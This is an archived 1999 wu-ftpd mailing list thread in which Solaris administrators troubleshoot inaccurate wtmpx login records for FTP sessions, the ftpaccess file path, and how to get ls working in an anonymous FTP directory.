for <[email protected]>; Tue, 9 Mar 1999 10:03:32 +0100 (MET)
Message-Id: <[email protected]>
Date: Tue, 09 Mar 1999 10:03:45 +0100
Reply-To: [email protected]
Sender: [email protected]
From: Tommaso Centro <[email protected]>
To: [email protected]
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
References: <[email protected]> <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [email protected]
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.7 sun4u)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

James McMahon wrote:
>
> I just did a quick test on a system running Solaris 2.6 and wu-ftpd 2.4.2 beta
> 18 VR 11 and found the same. Last indicated that the existing connection had
> been closed and left one connection open when there were definately 2.
>
> James
>
> Scott Parmenter wrote:
>
> > [email protected] wrote:
> >
> > > Before I file a bug report I'd like to verify these results with others.
> >
> > Hadn't looked before now, but it looks like I get the same thing under TSOL
> > 2.5.1.
> > In fact, a quick Netscape connection didn't get recorded at all. The
> > account that
> > was at the top of the list who had logged out previous to the Netscape test
> > was
> > still marked as logged in afterwards. Does this have something to do with
> > the
> > duration of the connections?
> >
> > Scott

I don't know if it matters but i'm using ftpd (default daemon) with
Solaris 2.7 and i get exactly the same problem with "last".

Tommaso

From [email protected] Tue Mar 9 07:01:36 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA14175;
Tue, 9 Mar 1999 07:01:35 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA13884;
Tue, 9 Mar 1999 06:55:33 -0600 (CST)
Received: from wukon.appliedtheory.com ([email protected] [204.168.18.26])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA08827
for <[email protected]>; Tue, 9 Mar 1999 06:54:43 -0600 (CST)
Received: from wukon.appliedtheory.com (IDENT:jreed@localhost [127.0.0.1])
by wukon.appliedtheory.com (8.9.1/8.9.1) with ESMTP id HAA24112
for <[email protected]>; Tue, 9 Mar 1999 07:54:43 -0500
Message-Id: <[email protected]>
Date: Tue, 09 Mar 1999 07:54:43 -0500
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: [email protected]
Subject: ftpaccess file in /usr/local/lib/ftpd not seen
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: exmh version 2.0.2
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

After installing wu-ftpd v. wu-2.4.2-academ[BETA-15] into /usr/local/...
on Solaris 2.6 (by modifying makefiles), I find that when I connect the
system complains:

ftpd[21378]: cannot open access file /etc/ftpaccess: No such file or directory

The actual location of this file is in /usr/local/lib/ftpd/ftpaccess, so
of course it doesn't find it. I can't find any reference that tells me how
to build wu-ftpd so it will look in /usr/local/lib/ftpd for its files -
can someone please explain??

Many TIA.

--
Judith Reed
[email protected]
(315) 453-2912 x335

From [email protected] Tue Mar 9 07:19:26 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA14374;
Tue, 9 Mar 1999 07:19:25 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA05568;
Tue, 9 Mar 1999 07:14:46 -0600 (CST)
Received: from mserver.fh-koblenz.de (mserver.fh-koblenz.de [143.93.144.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id HAA23180
for <[email protected]>; Tue, 9 Mar 1999 07:13:09 -0600 (CST)
Received: (from mschmidt@localhost)
by mserver.fh-koblenz.de (8.8.8/8.8.8-ms) id OAA24144;
Tue, 9 Mar 1999 14:12:24 +0100 (MET)
Message-Id: <[email protected]>
Date: Tue, 9 Mar 1999 14:12:24 +0100 (MET)
Reply-To: [email protected]
Sender: [email protected]
From: Michael Schmidt <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: ftpaccess file in /usr/local/lib/ftpd not seen
In-Reply-To: <[email protected]> from "[email protected]" at Mar 9, 99 07:54:43 am
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4 PL25]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> From: [email protected]
> Subject: ftpaccess file in /usr/local/lib/ftpd not seen
>
> After installing wu-ftpd v. wu-2.4.2-academ[BETA-15] into /usr/local/...
> on Solaris 2.6 (by modifying makefiles), I find that when I connect the
> system complains:
>
> ftpd[21378]: cannot open access file /etc/ftpaccess: No such file or directory
>
> The actual location of this file is in /usr/local/lib/ftpd/ftpaccess, so
> of course it doesn't find it. I can't find any reference that tells me how
> to build wu-ftpd so it will look in /usr/local/lib/ftpd for its files -
> can someone please explain??

Hi Judith,

please have a look into src/pathnames.h as there the location
of several wu-ftpd runtime configuration files is specified
or you may override their default location.

Did you look there?

Have a nice day
Michael

--
Michael Schmidt
[email protected]
Mirror of: SAMBA:
IPFilter, Ghostscript Server for Win95,
Linux-HOWTO WinNT, LANManager

From [email protected] Tue Mar 9 08:11:53 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA14817;
Tue, 9 Mar 1999 08:11:52 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA05012;
Tue, 9 Mar 1999 08:07:06 -0600 (CST)
Received: from wukon.appliedtheory.com ([email protected] [204.168.18.26])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA12219
for <[email protected]>; Tue, 9 Mar 1999 08:01:10 -0600 (CST)
Received: from wukon.appliedtheory.com (IDENT:jreed@localhost [127.0.0.1])
by wukon.appliedtheory.com (8.9.1/8.9.1) with ESMTP id JAA24331
for <[email protected]>; Tue, 9 Mar 1999 09:01:11 -0500
Message-Id: <[email protected]>
Date: Tue, 09 Mar 1999 09:01:11 -0500
Reply-To: [email protected]
Sender: [email protected]
From: [email protected]
To: [email protected]
Subject: SUMMARY: ftpaccess problem - and new question
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: exmh version 2.0.2
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Thanks for quick responses to Elmar Handke and Michael Schmidt, who pointed to
src/pathnames.h. I was having problems getting wu-ftpd to find ftpaccess in
/usr/local/lib/ftpd. I ended up modifying src/config/config.sol to "undef"
USE_ETC - that fixed it.

Another question, now, if you please? On solaris 2.6 with
wu-2.4.2-academ[BETA-15]
I can't get the "ls" command to work in the pub directory. It appears, as
indicated by "ldd", that both /usr/bin/ls and /usr/ucb/ls are linked with
shared libraries, and that there is no statically linked ls. So, I copied
down what seemed to be the necessary libraries, into:

/usr/lib/libdl.so.1
/usr/lib/libc.so.1

and ftp in, and it complains it can't find /usr/lib/ld.so.1. So, I copy
that in:

/usr/lib/ld.so.1

and it complains it can't find /usr/adm/wtmp. I copy that in, but that doesn't
help. I'm afraid I'm digging myself in deeper and deeper - can anyone explain
how to get ls to work? My pub dir looks as follows:

dr-xr-sr-x 2 root other 512 Mar 9 08:11 pub

and the file in it looks like:

-rw-r--r-- 1 root other 33 Mar 9 08:29 file.typ

TIA!

--
Judith Reed
[email protected]
(315) 453-2912 x335

From [email protected] Tue Mar 9 09:50:13 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA16219;
Tue, 9 Mar 1999 09:50:12 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA18472;
Tue, 9 Mar 1999 09:45:02 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA22063
for <[email protected]>; Tue, 9 Mar 1999 09:42:09 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id KAA04550;
Tue, 9 Mar 1999 10:41:52 -0500
Message-Id: <[email protected]>
Date: Tue, 9 Mar 1999 10:41:52 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Tommaso Centro <[email protected]>
Cc: [email protected]
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 9 Mar 1999, Tommaso Centro wrote:

> Date: Tue, 09 Mar 1999 10:03:45 +0100
> From: Tommaso Centro <[email protected]>
> To: [email protected]
> Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
>
> James McMahon wrote:
> >
> > I just did a quick test on a system running Solaris 2.6 and wu-ftpd 2.4.2 beta
> > 18 VR 11 and found the same. Last indicated that the existing connection had
> > been closed and left one connection open when there were definately 2.
> >
> > James
> >
> > Scott Parmenter wrote:
> >
> > > [email protected] wrote:
> > >
> > > > Before I file a bug report I'd like to verify these results with others.
> > >
> > > Hadn't looked before now, but it looks like I get the same thing under TSOL
> > > 2.5.1.
> > > In fact, a quick Netscape connection didn't get recorded at all. The
> > > account that
> > > was at the top of the list who had logged out previous to the Netscape test
> > > was
> > > still marked as logged in afterwards. Does this have something to do with
> > > the
> > > duration of the connections?
> > >
> > > Scott
>
> I don't know if it matters but i'm using ftpd (default daemon) with
> Solaris 2.7 and i get exactly the same problem with "last".

One of my testers reports no problems at all with 'last' on 2.6 _or_ 2.7
for VR15/VR16. Scott and (IIRC) [email protected] are both using
"Trusted Solaris" which my tester could not test on.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 9 09:57:00 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id JAA16326;
Tue, 9 Mar 1999 09:56:59 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id JAA16900;
Tue, 9 Mar 1999 09:51:37 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id JAA31669
for <[email protected]>; Tue, 9 Mar 1999 09:45:23 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id KAA04563;
Tue, 9 Mar 1999 10:45:09 -0500
Message-Id: <[email protected]>
Date: Tue, 9 Mar 1999 10:45:09 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: SUMMARY: ftpaccess problem - and new question
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 9 Mar 1999 [email protected] wrote:

> Another question, now, if you please? On solaris 2.6 with
> wu-2.4.2-academ[BETA-15]

Beta-15 is old, you should consider upgrading.

> I can't get the "ls" command to work in the pub directory.

The FAQ will help a lot for this problem.

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ: http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive: http://www.landfield.com/wu-ftpd/mail-archive/

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 9 11:22:06 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA17689;
Tue, 9 Mar 1999 11:22:05 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA07108;
Tue, 9 Mar 1999 11:16:39 -0600 (CST)
Received: from gatekeep.ti.com (gatekeep.ti.com [192.94.94.61])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA26228
for <[email protected]>; Tue, 9 Mar 1999 11:14:11 -0600 (CST)
Received: from spanky.dal.asp.ti.com ([172.24.154.20]) by gatekeep.ti.com (8.8.8) with ESMTP id LAA01008; Tue, 9 Mar 1999 11:12:58 -0600 (CST)
Received: from pavis.asic.sc.ti.com (pavis.asic.sc.ti.com [128.247.100.46])
by spanky.dal.asp.ti.com (8.8.8+Sun/8.8.8/FL-ASP-1.9) with SMTP id LAA19808;
Tue, 9 Mar 1999 11:12:58 -0600 (CST)
Received: by pavis.asic.sc.ti.com id <[email protected]>; Tue, 9 Mar 99 11:12:57 -0600
Message-Id: <[email protected]>
Date: Tue, 9 Mar 99 11:12:57 CST
Reply-To: [email protected] (Bob Luckin)
Sender: [email protected]
From: Bob Luckin <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1) (fwd)
In-Reply-To: <[email protected]>; from "Gregory A Lundberg" at Mar 8, 99 10:47 pm
X-Mimi-Options: HEADERS TI2
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

All,

> > Changes were made to logwtmp.c in the following versions:
> >
> > (before beta-12, I don't know)
> >
> > beta-12 changes for SCO
> > beta-13 backed out SCO from beta-12, changes for FreeBSD
> > beta-16 name changed internally to wu_logwtmp
> > beta-18 added logged-in status
> > beta-18-vr10 changed from specific system test to NO_UTMPX
>
> Actually, I can see that the utmpx stuff was added after 2.4 and before or
> with beta-11.

The best I can do is confirm that the problem definitely happens running
beta-16 on a Solaris 2.5.1 system which is not trusted Solaris...

As far as wtmp is concerned, every new ftp login automatically closes the
previous one if it was still logged in. The actual session is not really
logged out of course, and the user sees no problem.

The behaviour does not apear to be related to the userid - I tried with both
my own userid and the anonymous one, with the same effect.

Cheers, Bob
--
Bob Luckin [email protected] "Coder adapt. FTP Ada, redo C"
[http://www.dhc.net/~luckin/palindromes.html"

From [email protected] Tue Mar 9 11:25:07 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA17730;
Tue, 9 Mar 1999 11:25:03 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA22792;
Tue, 9 Mar 1999 11:20:08 -0600 (CST)
Received: from hamachi.synopsys.com (hamachi.synopsys.com [204.176.20.26])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA02420
for <[email protected]>; Tue, 9 Mar 1999 11:15:03 -0600 (CST)
Received: from marathon.synopsys.com (marathon.synopsys.com [146.225.100.41])
by hamachi.synopsys.com (8.8.8/8.8.5) with ESMTP id JAA27747;
Tue, 9 Mar 1999 09:11:32 -0800 (PST)
Received: from gargoyle.synopsys.com (gargoyle.synopsys.com [146.225.96.28])
by marathon.synopsys.com (8.8.8/8.8.8) with SMTP id JAA07578;
Tue, 9 Mar 1999 09:11:32 -0800 (PST)
Received: by gargoyle.synopsys.com (SMI-8.6/SNPS-Sol2)
id JAA11612; Tue, 9 Mar 1999 09:11:31 -0800
Message-Id: <[email protected]>
Date: Tue, 9 Mar 1999 09:11:31 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Greg Bulman - EST Contractor <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-MD5: p2SCKUrZGmOpyyKpzgCjsg==
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Now running and testing ...
FTP server (Version wu-2.4.2-VR16(1) Tue Mar 9 08:21:34 PST 1999)

Let me apologize in advance for being curt, I've just been over this so many
times with other ftp server administrators and they always say it logs
correctly. That is, until I ask them why they only show 1 ftp session active
at any given time. Upon closer inspection and in conjuction with ftpcount they
finally say its broken. So please check these results carefully before
reporting back.

I have compiled the the VR16 ftpd and it indeed does have a bug with writing
/var/adm/wtmpx entries, i.e. last does *not* work. I have tried this new
binary under Solaris 2.5.1 and 2.7. Please note, in each case I have even
rebooted and in /etc/rc2.d I ran a script which did the suggested ...
cat /dev/null > /var/adm/wtmp
cat /dev/null > /var/adm/wtmpx
So there is no chance that previous tests left me with a corrupted wtmpx file.

Please note testers ... back in wu-ftpd 2.4 the wtmpx entries weren't even
being created ... the src still pointed to the incorrect SunOS 4.x accounting
files. In 2.4.2 Beta versions is starting logging to the correct accounting
file. However, testers, please note ... yes you see "ftp" entries with the last
command but the entries are *incorrect*. Do you ever see two ftp sessions
"still logged in". The answer is no. See below an sample session. I ran last
from ftpserver 3 times, 1 time after clean wtmpx and reboot and just logging
in. Next after an ftp session from myhost. Note I did not exit this ftp
session. 3rd, last shows me ftping in from otherhost at which point this
2nd ftp session logged my first ftp session as finished in the accounting
file when I actually in fact have two active ftp sessions running.

This behaviour *is* in (Version wu-2.4.2-VR16. And only in Solaris. This
all seems to work just fine in SunOS and IRIX although I must admit I haven't
yet tried VR16 under these OS's simply because they weren't broken before.

ftpserver[28]% last|head
gbulman pts/0 myhost Tue Mar 9 08:31 still logged in

wtmp begins Tue Mar 9 08:31
ftpserver[29]% last
ftp ftp myhost Tue Mar 9 08:31 still logged in
gbulman pts/0 myhost Tue Mar 9 08:31 still logged in

wtmp begins Tue Mar 9 08:31
ftpserver[30]% last
ftp ftp otherhost Tue Mar 9 08:31 still logged in
ftp ftp myhost Tue Mar 9 08:31 - 08:31 (00:00)
gbulman pts/0 myhost Tue Mar 9 08:31 still logged in

wtmp begins Tue Mar 9 08:31
ftpserver[31]%

-gbulman

>
> On Tue, 9 Mar 1999, Tommaso Centro wrote:
>
> > Date: Tue, 09 Mar 1999 10:03:45 +0100
> > From: Tommaso Centro <[email protected]>
> > To: [email protected]
> > Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
> >
> > James McMahon wrote:
> > >
> > > I just did a quick test on a system running Solaris 2.6 and wu-ftpd 2.4.2
beta
> > > 18 VR 11 and found the same. Last indicated that the existing connection
had
> > > been closed and left one connection open when there were definately 2.
> > >
> > > James
> > >
> > > Scott Parmenter wrote:
> > >
> > > > [email protected] wrote:
> > > >
> > > > > Before I file a bug report I'd like to verify these results with
others.
> > > >
> > > > Hadn't looked before now, but it looks like I get the same thing under
TSOL
> > > > 2.5.1.
> > > > In fact, a quick Netscape connection didn't get recorded at all. The
> > > > account that
> > > > was at the top of the list who had logged out previous to the Netscape
test
> > > > was
> > > > still marked as logged in afterwards. Does this have something to do
with
> > > > the
> > > > duration of the connections?
> > > >
> > > > Scott
> >
> > I don't know if it matters but i'm using ftpd (default daemon) with
> > Solaris 2.7 and i get exactly the same problem with "last".
>
> One of my testers reports no problems at all with 'last' on 2.6 _or_ 2.7
> for VR15/VR16. Scott and (IIRC) [email protected] are both using
> "Trusted Solaris" which my tester could not test on.
>
> --
>
> Gregory A Lundberg Senior Partner, VRnet Company
> 1441 Elmdale Drive [email protected]
> Kettering, OH 45409-1615 USA 1-800-809-2195
>

From [email protected] Tue Mar 9 11:28:15 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA17788;
Tue, 9 Mar 1999 11:28:14 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA10762;
Tue, 9 Mar 1999 11:23:16 -0600 (CST)
Received: from hamachi.synopsys.com (hamachi.synopsys.com [204.176.20.26])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA00818
for <[email protected]>; Tue, 9 Mar 1999 11:18:26 -0600 (CST)
Received: from marathon.synopsys.com (marathon.synopsys.com [146.225.100.41])
by hamachi.synopsys.com (8.8.8/8.8.5) with ESMTP id JAA28244;
Tue, 9 Mar 1999 09:17:19 -0800 (PST)
Received: from gargoyle.synopsys.com (gargoyle.synopsys.com [146.225.96.28])
by marathon.synopsys.com (8.8.8/8.8.8) with SMTP id JAA08306;
Tue, 9 Mar 1999 09:17:18 -0800 (PST)
Received: by gargoyle.synopsys.com (SMI-8.6/SNPS-Sol2)
id JAA11619; Tue, 9 Mar 1999 09:17:18 -0800
Message-Id: <[email protected]>
Date: Tue, 9 Mar 1999 09:17:18 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Greg Bulman - EST Contractor <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-MD5: S1oCfOmf+Q5AXIEHVZRQkw==
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

For the record, [email protected] is not using TSOL, Trusted Solaris.
Just plain old vanilla versions off the Server CD's (2.5.1 and 2.7).

>
> One of my testers reports no problems at all with 'last' on 2.6 _or_ 2.7
> for VR15/VR16. Scott and (IIRC) [email protected] are both using
> "Trusted Solaris" which my tester could not test on.
>
> --
>
> Gregory A Lundberg Senior Partner, VRnet Company
> 1441 Elmdale Drive [email protected]
> Kettering, OH 45409-1615 USA 1-800-809-2195
>

From [email protected] Tue Mar 9 11:34:37 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id LAA17877;
Tue, 9 Mar 1999 11:34:37 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA09909;
Tue, 9 Mar 1999 11:29:44 -0600 (CST)
Received: from gatekeep.ti.com (gatekeep.ti.com [192.94.94.61])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA11180
for <[email protected]>; Tue, 9 Mar 1999 11:23:42 -0600 (CST)
Received: from spanky.dal.asp.ti.com ([172.24.154.20]) by gatekeep.ti.com (8.8.8) with ESMTP id LAA10999; Tue, 9 Mar 1999 11:23:09 -0600 (CST)
Received: from pavis.asic.sc.ti.com (pavis.asic.sc.ti.com [128.247.100.46])
by spanky.dal.asp.ti.com (8.8.8+Sun/8.8.8/FL-ASP-1.9) with SMTP id LAA22140;
Tue, 9 Mar 1999 11:23:08 -0600 (CST)
Received: by pavis.asic.sc.ti.com id <[email protected]>; Tue, 9 Mar 99 11:23:08 -0600
Message-Id: <[email protected]>
Date: Tue, 9 Mar 99 11:23:08 CST
Reply-To: [email protected] (Bob Luckin)
Sender: [email protected]
From: Bob Luckin <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
In-Reply-To: <[email protected]>; from "Tommaso Centro" at Mar 09, 99 10:03 am
X-Mimi-Options: HEADERS TI2
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Tommaso wrote :-

> I don't know if it matters but i'm using ftpd (default daemon) with
> Solaris 2.7 and i get exactly the same problem with "last".

Right ! I just ran a similar test with the vendor ftpd running on a
Solaris 2.5.1 system and I see the same behaviour that wu-ftpd shows.
So either the same problem is coded into both servers, or it is somewhere else
in the OS.

The fact that the wu-ftpd daemon does not exhibit this problem on other OS's
makes me wonder...

Cheers, Bob

From [email protected] Tue Mar 9 12:00:47 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA18368;
Tue, 9 Mar 1999 12:00:46 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA18258;
Tue, 9 Mar 1999 11:55:37 -0600 (CST)
Received: from orr.pwgsc.gc.ca (orr.pwgsc.gc.ca [198.103.167.14])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id LAA09364
for <[email protected]>; Tue, 9 Mar 1999 11:51:47 -0600 (CST)
Received: id MAA21868; Tue, 9 Mar 1999 12:47:39 -0500
Received: by gateway ???
Received: by gateway id MAA24262
for <[email protected]>; Tue, 9 Mar 1999 12:39:31 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 09 Mar 1999 12:46:35 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Robertson, Rocke" <[email protected]>
To: wuftpd <[email protected]>
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

My 2 cents worth.

I have beta18VR16 running on 7 Solaris 2.6 systems, and 1 Solaris 2.5.1 system,
and I do not have this problem.

~rocker

Bob Luckin wrote:

> Tommaso wrote :-
>
> > I don't know if it matters but i'm using ftpd (default daemon) with
> > Solaris 2.7 and i get exactly the same problem with "last".
>
> Right ! I just ran a similar test with the vendor ftpd running on a
> Solaris 2.5.1 system and I see the same behaviour that wu-ftpd shows.
> So either the same problem is coded into both servers, or it is somewhere else
> in the OS.
>
> The fact that the wu-ftpd daemon does not exhibit this problem on other OS's
> makes me wonder...
>
> Cheers, Bob

--
Rocke Robertson
PWGSC/GTIS
(613)991-2604
[email protected]

From [email protected] Tue Mar 9 12:08:04 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA18523;
Tue, 9 Mar 1999 12:08:03 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA02683;
Tue, 9 Mar 1999 12:02:50 -0600 (CST)
Received: from hamachi.synopsys.com (hamachi.synopsys.com [204.176.20.26])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id LAA09195
for <[email protected]>; Tue, 9 Mar 1999 11:57:27 -0600 (CST)
Received: from javelin.synopsys.com (javelin.synopsys.com [146.225.100.38])
by hamachi.synopsys.com (8.8.8/8.8.5) with ESMTP id JAA01827;
Tue, 9 Mar 1999 09:56:53 -0800 (PST)
Received: from gargoyle.synopsys.com (gargoyle.synopsys.com [146.225.96.28])
by javelin.synopsys.com (8.8.8/8.8.8) with SMTP id JAA18775;
Tue, 9 Mar 1999 09:56:51 -0800 (PST)
Received: by gargoyle.synopsys.com (SMI-8.6/SNPS-Sol2)
id JAA11708; Tue, 9 Mar 1999 09:56:50 -0800
Message-Id: <[email protected]>
Date: Tue, 9 Mar 1999 09:56:50 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Greg Bulman - EST Contractor <[email protected]>
To: [email protected], [email protected]
Cc: [email protected]
Subject: Re: Problem w/ Solaris /var/adm/wtmpx and /usr/bin/last(1)
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-MD5: yNyMQdTO5OhKDj7JDv2suA==
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Well Tommaso and Bob hit the nail on the head here.
So much for my testing scenarios. I too confirm it isn't specific to wu-ftpd
and the vendor supplied ftpd also behaves this way.

I'll explore Sun's bug and patch reports and continue there. Thanks for
everyone's 2nd eyes. For me, I'm considering this thread closed as far as
as the wu-ftpd goes. If I find that the vendor has a patch that works with
its fptd and wu-ftpd I'll post the info here and report to the Solaris
specific wu-ftpd info maintainer.

Happy computing,
-gbulman

>
> Tommaso wrote :-
>
> > I don't know if it matters but i'm using ftpd (default daemon) with
> > Solaris 2.7 and i get exactly the same problem with "last".
>
> Right ! I just ran a similar test with the vendor ftpd running on a
> Solaris 2.5.1 system and I see the same behaviour that wu-ftpd shows.
> So either the same problem is coded into both servers, or it is somewhere else
> in the OS.
>
> The fact that the wu-ftpd daemon does not exhibit this problem on other OS's
> makes me wonder...
>
> Cheers, Bob
>

From [email protected] Tue Mar 9 12:54:17 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA19295;
Tue, 9 Mar 1999 12:54:16 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA18262;
Tue, 9 Mar 1999 12:48:56 -0600 (CST)
Received: from fatcat.inven.com (fatcat.inven.com [204.142.49.130])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA01879
for <[email protected]>; Tue, 9 Mar 1999 12:46:42 -0600 (CST)
Received: from mailnyc [195.1.2.68]
by fatcat.inven.com with esmtp (Exim 1.71 #1)
id 10KRXP-0002gU-00; Tue, 9 Mar 1999 13:47:31 -0500
Received: by mailnyc with smtp (Exim 2.10)
id 10KRYt-0002MA-00; Tue, 9 Mar 1999 13:49:04 -0500
Message-Id: <Pine.GSO.3.96.990309134438.24351A-100000@mothra.newyork.inven.com>
Date: Tue, 9 Mar 1999 13:46:14 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: John-Paul Pagano <[email protected]>
To: Greg Bulman - EST Contractor <[email protected]>
Cc: [email protected], [email protected]
Subject: Re: Problem getting numeric username/groups w/ ls
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
